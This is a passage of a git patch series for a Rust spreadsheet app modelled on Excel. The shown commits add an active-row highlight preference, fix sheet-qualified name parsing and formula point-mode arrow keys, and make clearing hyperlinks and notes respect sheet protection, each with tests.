a/crates/ui-egui/src/paper_view.rs +++ b/crates/ui-egui/src/paper_view.rs @@ -162,7 +162,19 @@ pub(crate) fn paint_pages(input: PagePaintInput<'_>, cf: &mut CfCache) -> Vec egui_kittest::Harness<'static, SheetApp> { + let mut h = crate::common::builder().with_size(vec2(1200.0, 800.0)).build_ui_state( + |ui, app: &mut SheetApp| { + app.logic(ui.ctx()); + app.ui(ui); + }, + crate::common::app(session), + ); + h.run_steps(4); + h +} + +fn book(active: &str) -> Session { + let mut session = Session::new(); + session.new_workbook(); + session.execute("selection.set", json!({"range": active})).unwrap(); + session +} + +/// The rectangles painted with the highlight's own colour. +fn tinted(h: &egui_kittest::Harness<'_, SheetApp>) -> Vec { + let tint = Tokens::get(&h.ctx).active_row; + h.output() + .shapes + .iter() + .filter_map(|clipped| match &clipped.shape { + Shape::Rect(r) if r.fill == tint => Some(r.rect), + _ => None, + }) + .collect() +} + +#[test] +fn it_is_off_by_default_and_paints_nothing() { + assert!(!UiState::default().highlight_active_row); + let h = harness(book("C5")); + assert!(tinted(&h).is_empty()); +} + +#[test] +fn turned_on_it_tints_the_active_row_across_the_columns() { + let mut h = harness(book("C5")); + assert_eq!(h.state_mut().run("options.highlightActiveRow", json!({"on": true})), Ok(json!({"on": true}))); + h.run_steps(2); + let bands = tinted(&h); + assert_eq!(bands.len(), 1, "{bands:?}"); + let app = h.state(); + let sheet = app.session.active().unwrap().wb.active().unwrap(); + let geo = Geo::new(sheet, app.grid.rect.unwrap(), app.view().scroll); + let cell = geo.cell_rect(sheet, CellRef::parse("C5").unwrap()); + assert_eq!((bands[0].top(), bands[0].bottom()), (cell.top(), cell.bottom())); + assert!(bands[0].left() <= geo.cells.left() + 1.0, "starts at the first column: {:?}", bands[0]); + assert!(bands[0].right() >= geo.cells.right() - 1.0, "reaches the last visible column: {:?}", bands[0]); +} + +#[test] +fn the_band_follows_the_active_cell_and_only_the_row() { + let mut h = harness(book("C5")); + h.state_mut().run("options.highlightActiveRow", json!({"on": true})).unwrap(); + h.state_mut().session.execute("selection.set", json!({"range": "E9"})).unwrap(); + h.run_steps(2); + let bands = tinted(&h); + assert_eq!(bands.len(), 1, "a row, and no column band: {bands:?}"); + let app = h.state(); + let sheet = app.session.active().unwrap().wb.active().unwrap(); + let geo = Geo::new(sheet, app.grid.rect.unwrap(), app.view().scroll); + assert_eq!(bands[0].top(), geo.cell_rect(sheet, CellRef::parse("E9").unwrap()).top()); +} + +#[test] +fn it_applies_to_every_sheet_and_workbook() { + let mut h = harness(book("C5")); + h.state_mut().run("options.highlightActiveRow", json!({"on": true})).unwrap(); + h.state_mut().session.execute("home.insertSheet", json!({"name": "Other"})).unwrap(); + h.run_steps(2); + assert_eq!(tinted(&h).len(), 1, "another sheet"); + h.state_mut().session.new_workbook(); + h.run_steps(2); + assert_eq!(tinted(&h).len(), 1, "another workbook"); +} + +#[test] +fn turning_it_off_clears_the_band_and_the_toggle_leaves_the_workbook_alone() { + let mut h = harness(book("C5")); + let dirty = h.state().session.active().unwrap().is_dirty(); + assert_eq!(h.state_mut().run("options.highlightActiveRow", json!({})), Ok(json!({"on": true})), "no parameters: it toggles"); + h.run_steps(2); + assert_eq!(h.state().session.active().unwrap().is_dirty(), dirty); + assert_eq!(h.state_mut().run("options.highlightActiveRow", json!({})), Ok(json!({"on": false}))); + h.run_steps(2); + assert!(tinted(&h).is_empty()); + assert_eq!(h.state().session.active().unwrap().is_dirty(), dirty); +} + +#[test] +fn the_preference_survives_a_restart_and_older_settings_read_as_off() { + let state = UiState { highlight_active_row: true, ..UiState::default() }; + let saved = serde_json::to_string(&state).unwrap(); + assert!(serde_json::from_str::(&saved).unwrap().highlight_active_row); + assert!(!serde_json::from_str::("{}").unwrap().highlight_active_row); +} + +#[test] +fn a_hidden_row_or_a_row_outside_the_quadrant_has_no_band() { + let mut session = book("A1"); + session.execute("home.rowHeight", json!({"rows": "5:5", "height": 0})).unwrap(); + let h = harness(session); + let app = h.state(); + let sheet = app.session.active().unwrap().wb.active().unwrap(); + let geo = Geo::new(sheet, app.grid.rect.unwrap(), app.view().scroll); + assert_eq!(active_row_band(&geo, sheet, 4, (0, 20), (0, 5)), None, "hidden"); + assert_eq!(active_row_band(&geo, sheet, 30, (0, 20), (0, 5)), None, "outside"); + assert!(active_row_band(&geo, sheet, 6, (0, 20), (0, 5)).is_some()); +} diff --git a/crates/ui-egui/tests/it/main.rs b/crates/ui-egui/tests/it/main.rs index f1240dcd6..df6d47842 100644 --- a/crates/ui-egui/tests/it/main.rs +++ b/crates/ui-egui/tests/it/main.rs @@ -7,6 +7,7 @@ mod common; mod accounting_fill; +mod active_row_highlight; mod advanced_filter; mod argument_names; mod autosave_persist; diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..ca917a571 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (Highlight the active cell's row, a global preference in File › Options › General; earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -54,6 +54,7 @@ this logic, with one undo step. | Click/drag/Shift/Ctrl selection, multi-area selection | rectangular drag works in one direction only in some cases (#28) | | Cursor while dragging cells, headers, freeze handles and objects | stable for the active drag (#936); Draw tools keep their crosshair; header arrows and a custom cell cursor remain unimplemented | | Selection outline glides to a new selection (Excel: "Provide feedback with animation") | done (10-11): 0.12 s, decelerating, with the fill and fill handle; View ▸ Animations (`view.animations`) turns it off. The timing is an estimate, not yet measured against Excel; the system's reduced-motion setting isn't followed yet | +| Highlight the active cell's row (no Excel equivalent; Focus Cell tints the row and the column) | done (11-03): File › Options › General, off by default; a preference for every sheet and workbook, nothing saved in the file. Tints over the fills and under the text, in Normal and Page Layout views (`options.highlightActiveRow`) | | Fill handle: drag to fill series, double-click to fill down, right-drag menu | fill done (Ctrl+drag swaps copy and series; month patterns use the workbook's 1900 or 1904 date system); right-drag menu partial: Copy Cells, Fill Series, Fill Formatting Only, Fill Without Formatting, and from a date Fill Days, Fill Weekdays, Fill Months and Fill Years, then Series…; a left-drag leaves an Auto Fill Options button with the same fill choices (gone once the workbook changes or the selection moves); Linear/Growth Trend and Flash Fill missing | | Drag-move and drag-copy cells (border drag, Ctrl/Option, Shift to insert) | done (M3) | | In-cell editing, Enter/Tab movement, Alt/Option+Enter line breaks | done | @@ -237,6 +238,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Highlight the active cell's row: a global preference that tints the whole row, off by default | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From 2caf435a38a2e2d62625c47b7ccd64befca2ea66 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 07:21:22 -0600 Subject: [PATCH 119/167] #2012: split a parsed sheet-qualified name at the last `!`, sheet as is Addresses review comments 4455115540 and 4455115557. The parser stores `'Sheet'!Name` as `Sheet!Name` with the sheet already unquoted: - Evaluator::name split it at the first `!`, so a series named `'a!b'!Title` showed #NAME?. - chart_name unquoted it again, trimming spaces, so a chart reference to `' Sales '!Data` was saved as `Sales!Data`. Both now split at the last `!` and look the sheet up as is. Tests: chart tests::a_series_named_by_a_name_on_a_sheet_with_a_bang_resolves, xlsx tests::chart_book_names::chart_names_keep_spaces_around_a_quoted_sheet_name. Co-Authored-By: Claude Opus 5.5 --- crates/calc/src/eval.rs | 7 +++-- crates/chart/src/tests.rs | 36 +++++++++++++++++++++ crates/xlsx/src/chart.rs | 11 ++++--- crates/xlsx/src/tests/chart_book_names.rs | 38 +++++++++++++++++++++++ 4 files changed, 84 insertions(+), 8 deletions(-) diff --git a/crates/calc/src/eval.rs b/crates/calc/src/eval.rs index 4972623fc..7a957f3a4 100644 --- a/crates/calc/src/eval.rs +++ b/crates/calc/src/eval.rs @@ -359,9 +359,10 @@ impl<'h> Evaluator<'h> { return v.clone(); } let wb = self.host.workbook(); - // Sheet-qualified `Sheet1!Name`. - let (scope_sheet, bare) = match n.split_once('!') { - Some((s, b)) => match wb.sheet_index(&gridcraft_core::unquote_sheet(s)) { + // Sheet-qualified `Sheet1!Name`. The parser stores the sheet unquoted, so it is used as + // is (`' Sales '` keeps its spaces) and split at the last `!` (`'a!b'!Name`). + let (scope_sheet, bare) = match n.rsplit_once('!') { + Some((s, b)) => match wb.sheet_index(s) { Some(i) => (i, b), None => return err(CellError::Name), }, diff --git a/crates/chart/src/tests.rs b/crates/chart/src/tests.rs index 5d5876af0..6e423802c 100644 --- a/crates/chart/src/tests.rs +++ b/crates/chart/src/tests.rs @@ -1294,3 +1294,39 @@ fn a_series_named_by_a_name_on_a_sheet_with_an_apostrophe_resolves() { let d = resolve(&wb, 0, &c); assert_eq!(d.series.first().map(|s| s.name.as_str()), Some("Takings")); } + +#[test] +fn a_series_named_by_a_name_on_a_sheet_with_a_bang_resolves() { + // `'a!b'!Title`: the sheet name holds a `!`, so the evaluator must split the parsed name at + // the last one, not the first. + let mut wb = Workbook::new(); + { + let s = wb.sheet_mut(0).unwrap(); + s.name = "a!b".into(); + s.set_value(CellRef::new(0, 0), Value::from("Takings")); + s.set_value(CellRef::new(1, 0), Value::Number(4.0)); + s.set_value(CellRef::new(2, 0), Value::Number(9.0)); + } + wb.names.push(gridcraft_model::DefinedName { + name: "Title".into(), + scope: Some(0), + formula: "'a!b'!$A$1".into(), + comment: String::new(), + hidden: false, + }); + let mut c = chart(ChartKind::ColumnClustered); + c.series = vec![Series { + name: Some("'a!b'!Title".into()), + categories: None, + values: "'a!b'!$A$2:$A$3".into(), + bubble_sizes: None, + color: None, + secondary: false, + kind: None, + quartiles: Default::default(), + smooth: false, + trendlines: Vec::new(), + }]; + let d = resolve(&wb, 0, &c); + assert_eq!(d.series.first().map(|s| s.name.as_str()), Some("Takings")); +} diff --git a/crates/xlsx/src/chart.rs b/crates/xlsx/src/chart.rs index c36420043..a408da5fa 100644 --- a/crates/xlsx/src/chart.rs +++ b/crates/xlsx/src/chart.rs @@ -366,13 +366,14 @@ fn is_ref(f: &str) -> bool { /// when it isn't a name, or names a sheet the workbook doesn't have. fn chart_name<'a>(wb: &'a Workbook, si: usize, f: &str) -> Option<(Option, String, Option<&'a DefinedName>)> { let Ok(Expr::Name(n)) = gridcraft_formula::parse(f.trim()) else { return None }; - // `'Bob''s'!Name`: the sheet is unquoted as everywhere else (#2012). - match gridcraft_core::split_sheet(&n) { - (Some(s), bare) => { - let i = wb.sheet_index(&s)?; + // The parser has already unquoted the sheet (`'Bob''s'!Name` → `Bob's!Name`, #2012): split + // at the last `!` (`'a!b'!Name`) and keep the name as is (`' Sales '` keeps its spaces). + match n.rsplit_once('!') { + Some((s, bare)) => { + let i = wb.sheet_index(s)?; Some((Some(i), bare.to_string(), wb.name(bare, i))) } - (None, _) => { + None => { let def = wb.name(&n, si); Some((None, n, def)) } diff --git a/crates/xlsx/src/tests/chart_book_names.rs b/crates/xlsx/src/tests/chart_book_names.rs index 14dc9d243..10edf45a4 100644 --- a/crates/xlsx/src/tests/chart_book_names.rs +++ b/crates/xlsx/src/tests/chart_book_names.rs @@ -139,3 +139,41 @@ fn chart_names_are_written_qualified() { let refs = |x: &str| x.split("").skip(1).filter_map(|p| p.split_once("").map(|(f, _)| f.to_string())).collect::>(); assert_eq!(refs(&again), refs(&xml)); } + +/// A quoted sheet name keeps its outer spaces: `' Sales '!Data` is not `Sales!Data`, so the +/// chart doesn't switch to the other sheet's name on save. +#[test] +fn chart_names_keep_spaces_around_a_quoted_sheet_name() { + let mut wb = Workbook::default(); + let mut s = Sheet::new("Sales"); + s.charts.push(Chart { + id: 1, + kind: ChartKind::BarStacked, + anchor: Anchor { cell: gridcraft_core::CellRef::new(0, 3), width: 480.0, height: 300.0, ..Anchor::default() }, + title: None, + series: vec![series("' Sales '!Label", "' Sales '!Data")], + legend: LegendPos::Bottom, + data_labels: false, + data_table: None, + gridlines: true, + style: 2, + x_title: None, + y_title: None, + source: None, + by_rows: false, + pivot: None, + }); + wb.sheets = vec![Arc::new(s), Arc::new(Sheet::new(" Sales "))]; + wb.names = vec![ + name("Items", None, "Sales!$A$2:$A$4"), + name("Data", Some(0), "Sales!$B$2:$B$4"), + name("Data", Some(1), "' Sales '!$B$2:$B$4"), + name("Label", Some(0), "Sales!$B$1"), + name("Label", Some(1), "' Sales '!$B$1"), + ]; + let bytes = write_xlsx(&wb).unwrap(); + let mut xml = String::new(); + zip::ZipArchive::new(std::io::Cursor::new(&bytes)).unwrap().by_name("xl/charts/chart1.xml").unwrap().read_to_string(&mut xml).unwrap(); + assert!(xml.contains("' Sales '!Data"), "{xml}"); + assert!(xml.contains("' Sales '!Label"), "{xml}"); +} From b3bce6cc815f39a6cadbc47a21a295762fa2b798 Mon Sep 17 00:00:00 2001 From: Daniele Mori Date: Tue, 3 Nov 2026 14:28:35 +0100 Subject: [PATCH 120/167] Point mode: Shift+arrow after a header drag moves the dragged end After a drag over C:E, point_cell held C and no anchor was set, so Shift+Right moved the wrong end and gave D:E. The drag now records the pointer's end as the moving one and the opposite corner as the anchor, so it gives C:F, and rows work the same way. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/grid/interact.rs | 12 ++++-- .../ui-egui/tests/it/formula_point_headers.rs | 40 +++++++++++++++++++ 2 files changed, 48 insertions(+), 4 deletions(-) diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index 350aefd7a..88c69eefb 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -827,21 +827,25 @@ fn point_header_first_move(app: &mut SheetApp, input: &InteractionInput<'_>) { /// Point mode dragged over the headers: the pointed reference runs from the anchor to the pointer. fn point_header_to(app: &mut SheetApp, geo: &Geo, sh: &Sheet, wb: &Workbook, drag: &Drag, p: Pos2) { - let range = match *drag { + // The pointer's end moves with Shift+arrow next; the opposite corner keeps it a whole column or row. + let (range, pointer, opposite) = match *drag { Drag::PointCols(anchor) => { let col = geo.col_at(sh, p.x.clamp(geo.cells.left() + 1.0, geo.cells.right() - 1.0)); - RangeRef::cols(anchor.min(col), anchor.max(col)) + let range = RangeRef::cols(anchor.min(col), anchor.max(col)); + (range, CellRef::new(range.start.row, col), CellRef::new(range.end.row, anchor)) } Drag::PointRows(anchor) => { let row = geo.row_at(sh, p.y.clamp(geo.cells.top() + 1.0, geo.cells.bottom() - 1.0)); - RangeRef::rows(anchor.min(row), anchor.max(row)) + let range = RangeRef::rows(anchor.min(row), anchor.max(row)); + (range, CellRef::new(row, range.start.col), CellRef::new(anchor, range.end.col)) } _ => return, }; let Some(ed) = app.editor.as_mut().filter(|ed| ed.point_at_caret()) else { return }; let reference = header_reference(ed, wb, sh, range); ed.insert_ref(&reference); - ed.point_cell = Some(range.start); + ed.point_cell = Some(pointer); + ed.point_anchor = Some((wb.active_sheet(), opposite)); } fn select_to_pointer(app: &mut SheetApp, geo: &Geo, sh: &Sheet, wb: &Workbook, p: Pos2) { diff --git a/crates/ui-egui/tests/it/formula_point_headers.rs b/crates/ui-egui/tests/it/formula_point_headers.rs index 06d5b9308..97e60ae93 100644 --- a/crates/ui-egui/tests/it/formula_point_headers.rs +++ b/crates/ui-egui/tests/it/formula_point_headers.rs @@ -262,3 +262,43 @@ fn clicks_on_headers_replace_the_reference_after_a_drag_too() { click(&mut h, g); assert_eq!(text(&h), "=SUM(G:G"); } + +fn shift_arrow(h: &mut egui_kittest::Harness<'_, SheetApp>, key: egui::Key) { + let modifiers = Modifiers { shift: true, ..Modifiers::NONE }; + h.input_mut().events.push(Event::ModifiersChanged(modifiers)); + h.step(); + for pressed in [true, false] { + h.input_mut().events.push(Event::Key { key, physical_key: None, pressed, repeat: false, modifiers }); + h.step(); + } + h.input_mut().events.push(Event::ModifiersChanged(Modifiers::NONE)); + h.run_steps(2); +} + +#[test] +fn shift_arrow_after_a_header_drag_moves_the_dragged_end() { + let mut h = harness(); + let (c, e) = (header_center(&h, false, 2), header_center(&h, false, 4)); + press_and_drag(&mut h, c, e, Modifiers::NONE); + release(&mut h, e); + assert_eq!(text(&h), "=SUM(C:E"); + shift_arrow(&mut h, egui::Key::ArrowRight); + assert_eq!(text(&h), "=SUM(C:F"); + + // Dragged leftwards, the dragged end is the first column. + let mut h = harness(); + let (e, c) = (header_center(&h, false, 4), header_center(&h, false, 2)); + press_and_drag(&mut h, e, c, Modifiers::NONE); + release(&mut h, c); + assert_eq!(text(&h), "=SUM(C:E"); + shift_arrow(&mut h, egui::Key::ArrowLeft); + assert_eq!(text(&h), "=SUM(B:E"); + + let mut h = harness(); + let (r1, r3) = (header_center(&h, true, 0), header_center(&h, true, 2)); + press_and_drag(&mut h, r1, r3, Modifiers::NONE); + release(&mut h, r3); + assert_eq!(text(&h), "=SUM(1:3"); + shift_arrow(&mut h, egui::Key::ArrowDown); + assert_eq!(text(&h), "=SUM(1:4"); +} From ee6b9fdceedb09d262cf837dd1042b7395bddd16 Mon Sep 17 00:00:00 2001 From: Daniele Mori Date: Tue, 3 Nov 2026 14:31:35 +0100 Subject: [PATCH 121/167] Options: keep the active row's band visible on a faded page In Page Layout view the "Click to add data" pages are faded after their cells are painted, which all but hid the band on them. The band goes on again over the fade. Tests also cover Page Layout view and frozen panes. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/paper_view.rs | 4 +++ .../ui-egui/tests/it/active_row_highlight.rs | 26 +++++++++++++++++++ 2 files changed, 30 insertions(+) diff --git a/crates/ui-egui/src/paper_view.rs b/crates/ui-egui/src/paper_view.rs index 114d1e8ca..9db376fbf 100644 --- a/crates/ui-egui/src/paper_view.rs +++ b/crates/ui-egui/src/paper_view.rs @@ -178,6 +178,10 @@ pub(crate) fn paint_pages(input: PagePaintInput<'_>, cf: &mut CfCache) -> Vec Date: Tue, 3 Nov 2026 14:48:29 +0100 Subject: [PATCH 122/167] Point mode: keep the sheet qualifier when pointing with the arrow keys point_move wrote a bare reference, so on another sheet Shift+arrow after a header drag turned 'Other sheet'!B:D into B:E, which reads as the formula's own sheet. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/grid/interact.rs | 1 + crates/ui-egui/tests/it/formula_point_headers.rs | 16 ++++++++++++++++ 2 files changed, 17 insertions(+) diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index 88c69eefb..512042619 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -1096,6 +1096,7 @@ pub fn point_move(app: &mut SheetApp, ed: &mut EditState, dr: i64, dc: i64, exte to }; let text = if extend { RangeRef::new(anchor, to).a1() } else { to.a1() }; + let text = if ed.sheet != d.wb.active_sheet() { format!("{}!{text}", gridcraft_engine::formula::quote_sheet(&sheet.name)) } else { text }; let sheet = d.wb.active_sheet(); ed.insert_ref(&text); ed.point_cell = Some(to); diff --git a/crates/ui-egui/tests/it/formula_point_headers.rs b/crates/ui-egui/tests/it/formula_point_headers.rs index 97e60ae93..aeef72f7f 100644 --- a/crates/ui-egui/tests/it/formula_point_headers.rs +++ b/crates/ui-egui/tests/it/formula_point_headers.rs @@ -302,3 +302,19 @@ fn shift_arrow_after_a_header_drag_moves_the_dragged_end() { shift_arrow(&mut h, egui::Key::ArrowDown); assert_eq!(text(&h), "=SUM(1:4"); } + +#[test] +fn shift_arrow_pointing_on_another_sheet_keeps_the_qualifier() { + let mut h = harness(); + h.state_mut().session.execute("home.insertSheet", json!({"name": "Other sheet"})).unwrap(); + h.run_steps(2); + let (b, d) = (header_center(&h, false, 1), header_center(&h, false, 3)); + press_and_drag(&mut h, b, d, Modifiers::NONE); + release(&mut h, d); + assert_eq!(text(&h), "=SUM('Other sheet'!B:D"); + let app = h.state_mut(); + let mut ed = app.editor.take().unwrap(); + gridcraft_ui_egui::grid::point_move(app, &mut ed, 0, 1, true, false); + app.editor = Some(ed); + assert_eq!(text(&h), "=SUM('Other sheet'!B:E"); +} From 58e876a4d8fc7ccda8aff2c7c8cca31367f56684 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 07:52:14 -0600 Subject: [PATCH 123/167] #2120: Remove Hyperlink clears links on cells with nothing stored Addresses review comment 4455436875: `clear` clipped each range to the sheet's used range (stored cells) before removing links and notes, so a link from a file on an empty cell outside it was left in place, and nothing was removed on a sheet with no cells. Notes and links are now cleared over the whole range; cells and merges still only within the used range. Test: engine tests::clear_hyperlinks_removes_links_on_cells_with_nothing_stored. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit.rs | 28 +++++++++++++--------------- crates/engine/src/tests.rs | 20 ++++++++++++++++++++ 2 files changed, 33 insertions(+), 15 deletions(-) diff --git a/crates/engine/src/cmd/edit.rs b/crates/engine/src/cmd/edit.rs index 2aa9d8fe3..9a74a2d9d 100644 --- a/crates/engine/src/cmd/edit.rs +++ b/crates/engine/src/cmd/edit.rs @@ -245,20 +245,16 @@ fn clear(s: &mut Session, p: &Json, what: &str) -> Result { }) }; edit(s, |cx| { - for r in &ranges { - let r = match cx.wb.sheet(sheet).and_then(|sh| sh.used_range()) { - Some(u) => match r.intersection(&u) { - Some(x) => x, - None => continue, - }, - None => continue, + for &whole in &ranges { + // Cells are only stored inside the used range. Notes and links are kept apart from + // them, so they are cleared over the whole range: one from a file can sit on a cell + // with nothing stored in it. + let used = cx.wb.sheet(sheet).and_then(|sh| sh.used_range()).and_then(|u| whole.intersection(&u)); + let skip = cx.wb.sheet(sheet).map(|sh| filtered_rows(sh, whole)).unwrap_or_default(); + let cells: Vec<(CellRef, Cell)> = match (cx.wb.sheet(sheet), used) { + (Some(sh), Some(r)) => sh.cells.iter_range(r).filter(|(c, _)| !skip.contains(&c.row)).map(|(c, x)| (c, x.clone())).collect(), + _ => Vec::new(), }; - let skip = cx.wb.sheet(sheet).map(|sh| filtered_rows(sh, r)).unwrap_or_default(); - let cells: Vec<(CellRef, Cell)> = cx - .wb - .sheet(sheet) - .map(|sh| sh.cells.iter_range(r).filter(|(c, _)| !skip.contains(&c.row)).map(|(c, x)| (c, x.clone())).collect()) - .unwrap_or_default(); // Report every stored cell we touch, even beyond a million coordinates in a sparse // selection. Removed formula anchors must also reach calc so their spills disappear. cx.changed.extend(cells.iter().map(|(c, _)| (sheet, *c))); @@ -294,14 +290,16 @@ fn clear(s: &mut Session, p: &Json, what: &str) -> Result { _ => {} } } - let cleared = |c: CellRef| r.contains(c) && !skip.contains(&c.row); + let cleared = |c: CellRef| whole.contains(c) && !skip.contains(&c.row); if matches!(what, "all" | "comments") { sh.comments.retain(|c, _| !cleared(*c)); } if matches!(what, "all" | "hyperlinks") { sh.hyperlinks.retain(|c, _| !cleared(*c)); } - if matches!(what, "all" | "formats") { + if let Some(r) = used + && matches!(what, "all" | "formats") + { let mut unmerged = false; sh.merges.retain(|m| { let keep = !r.contains_range(m) || skip.range(m.start.row..=m.end.row).next().is_some(); diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 5f92718ba..272abffe2 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -5457,3 +5457,23 @@ fn a_view_kept_through_redo_doesnt_make_the_saved_workbook_dirty() { assert_eq!(d.wb.active().unwrap().view, gridcraft_model::SheetViewMode::PageBreakPreview); assert!(!d.is_dirty(), "back at the saved edits, the view alone isn't a change"); } + +/// A link from a file can sit on a cell with nothing stored in it, past the used range (or on a +/// sheet with no cells at all). Clear Hyperlinks, and Remove Hyperlink in the cell menu, must +/// still remove it. +#[test] +fn clear_hyperlinks_removes_links_on_cells_with_nothing_stored() { + let mut s = s(); + s.execute("cell.set", json!({"cell": "A1", "input": "x"})).unwrap(); + let link = || gridcraft_model::Hyperlink { target: "https://example.com".into(), tooltip: None, external: true }; + let (a1, c5) = (CellRef::parse("A1").unwrap(), CellRef::parse("C5").unwrap()); + std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap().hyperlinks.insert(c5, link()); + s.execute("edit.clearHyperlinks", json!({"range": "C5"})).unwrap(); + assert!(!s.doc().unwrap().wb.active().unwrap().hyperlinks.contains_key(&c5), "the link past the used range is removed"); + + // No cells at all. + s.execute("edit.clearAll", json!({"range": "A1"})).unwrap(); + std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap().hyperlinks.insert(a1, link()); + s.execute("edit.clearHyperlinks", json!({"range": "A1"})).unwrap(); + assert!(!s.doc().unwrap().wb.active().unwrap().hyperlinks.contains_key(&a1), "the link on an empty sheet is removed"); +} From dfb3b1224bd5710aa3d0dfcbb9af0a39233b2fca Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 08:08:07 -0600 Subject: [PATCH 124/167] #2120: clearing links and notes respects sheet protection Addresses review comment 4455670315: - Clear Hyperlinks and Clear Comments removed links and notes on locked cells of a protected sheet: protection compares stored cells only, so their removal went unseen (for stored cells too, and now for unstored ones since the whole range is cleared). `clear` now refuses a locked cell's note or link with locked_cell_error, which keeps Allow Edit Ranges and session-unlocked ranges. - A removed note or link on a cell with nothing stored wasn't added to the changed cells, so a recorded macro's footprint missed it. Tests: engine tests::clearing_links_and_notes_respects_sheet_protection, tests::clearing_links_and_notes_records_their_cells. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit.rs | 32 ++++++++++++++++++++++- crates/engine/src/tests.rs | 48 +++++++++++++++++++++++++++++++++++ 2 files changed, 79 insertions(+), 1 deletion(-) diff --git a/crates/engine/src/cmd/edit.rs b/crates/engine/src/cmd/edit.rs index 9a74a2d9d..0fd0a1c40 100644 --- a/crates/engine/src/cmd/edit.rs +++ b/crates/engine/src/cmd/edit.rs @@ -244,6 +244,25 @@ fn clear(s: &mut Session, p: &Json, what: &str) -> Result { }) }) }; + // Notes and links aren't cell contents, so the cell comparison that guards a protected sheet + // doesn't see them go: a locked cell's are refused here, stored cell or not. + if matches!(what, "all" | "comments" | "hyperlinks") { + let d = s.doc()?; + if let Some(sh) = d.wb.sheet(sheet).filter(|sh| sh.is_protected()) { + for &whole in &ranges { + let skip = filtered_rows(sh, whole); + let notes = matches!(what, "all" | "comments").then(|| sh.comments.keys()).into_iter().flatten(); + let links = matches!(what, "all" | "hyperlinks").then(|| sh.hyperlinks.keys()).into_iter().flatten(); + for &c in notes.chain(links).filter(|c| whole.contains(**c) && !skip.contains(&c.row)) { + if d.wb.styles.get(sh.style_id(c)).protection.locked + && let Some(m) = locked_cell_error(sh, c, &d.unlocked_ranges) + { + return Err(EngineError::Other(m)); + } + } + } + } + } edit(s, |cx| { for &whole in &ranges { // Cells are only stored inside the used range. Notes and links are kept apart from @@ -274,6 +293,18 @@ fn clear(s: &mut Session, p: &Json, what: &str) -> Result { } } } + let cleared = |c: CellRef| whole.contains(c) && 